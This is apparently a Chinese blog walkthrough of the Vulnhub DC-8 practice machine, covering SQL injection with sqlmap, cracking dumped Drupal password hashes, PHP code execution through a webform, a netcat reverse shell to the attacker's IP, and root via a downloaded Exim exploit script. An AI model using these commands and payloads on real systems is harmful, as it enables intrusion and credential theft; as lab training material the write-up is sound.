G
N
I
D
A
O
L

Vulnhub靶场 | DC系列 | DC-8

DC-8

目录

环境搭建

  1. 靶机镜像下载地址:https://vulnhub.com/entry/dc-6,315/
  2. 需要将靶机和 kali 攻击机放在同一个局域网里;
  3. 本实验kali 的 IP 地址:192.168.10.146。

渗透测试

使用 nmap 扫描 192.168.10.0/24 网段存活主机

┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24

经判断,目标主机IP地址为192.168.10.154。

扫描开放的服务。

┌──(root💀kali)-[~/桌面]
└─# nmap -sS 192.168.10.154

经测试,这里是存在sql注入的,并且是数字型注入。

http://192.168.10.154/?nid=2-1

http://192.168.10.154/?nid=1 order by 1  // 只有一个字段

直接上sqlmap

// 获取库
sqlmap -u "http://192.168.10.154/?nid=1" -p nid --dbs

// 获取表
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db --tables

// 获取列
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db -T users --columns

// 获取数据
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db -T users -C name,pass
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z 
| john  | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF 

使用john工具对密码进行解密

┌──(root💀kali)-[~/桌面]
└─# vim a.txt   // 将密文放入文件

┌──(root💀kali)-[~/桌面]
└─# john a.txt   // 开始解密

解出john的密码为 turtle。

进行后台目录扫描。

http://192.168.10.154:80/user/是一个登录页。

输入刚才破解出的密码登录,可以登录成功。

寻找网站漏洞。在Contact US — Webform — Form setting处存在远程代码执行。

写入代码之后,随意提交些内容

写入的代码会执行。

写入建立反弹shell的代码。

<?php 
system("nc -e /bin/bash 192.168.10.146 4444");
?>

成功获取到反弹shell。

开始提权

查找带suid的文件

发现 exim4带有suid权限。

  • Exim是一个MTA(Mail Transfer Agent,邮件传输代理)服务器软件,该软件基于GPL协议开发,是一款开源软件。

搜索exim 相关的exp

┌──(root💀kali)-[~/桌面]
└─# searchsploit exim 

查看脚本使用方式:一共两种使用方式

将脚本复制到kali网站根目录

┌──(root💀kali)-[~/桌面]
└─# cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html

然后再目标主机上,进入tmp目录,将46996.sh下载下来。

wget http://192.168.10.146/46996.sh

直接按用法的方式执行,提示Permission denied,需要添加权限。

再次执行:

www-data@dc-8:/tmp$ ./46996.sh -m setuid
www-data@dc-8:/tmp$ ./46996.sh -m netcat

提示:bash: ./46996.sh: /bin/bash^M: bad interpreter: No such file or directory

/bin/bash^M这里看似多了一个^M

使用vi 查看下该脚本,可以发现,每一行后都有一个^M

www-data@dc-8:/tmp$ vi 46996.sh

📌在Windows下每一行结尾是\n\r,而Linux下则是\n,所以才会有 多出来的\r。
这就是说,把一个文件从一种系统移到另一种系统,就有换行符的麻烦。如:用 vi 来尝试编辑一个采用 MS-DOS 格式的文件,你将会发现每一行的末尾有个 ^M 字符。(^M 就是 )。
set ff=unix ,就是告诉 vi 编辑器,使用unix换行符
set ff=dos ,就是告诉 vi 编辑器,使用dos换行符

在末行模式下输入set ff=unix。然后再重新下载。

添加权限,

www-data@dc-8:/tmp$ chmod 777 46996.sh

使用第一个方式提权失败~

./46996.sh -m setuid

./46996.sh -m netcat

顺利达到flag。

参考链接:

posted @ 2024-07-13 19:04  leyilea  阅读(311)  评论(0)    收藏  举报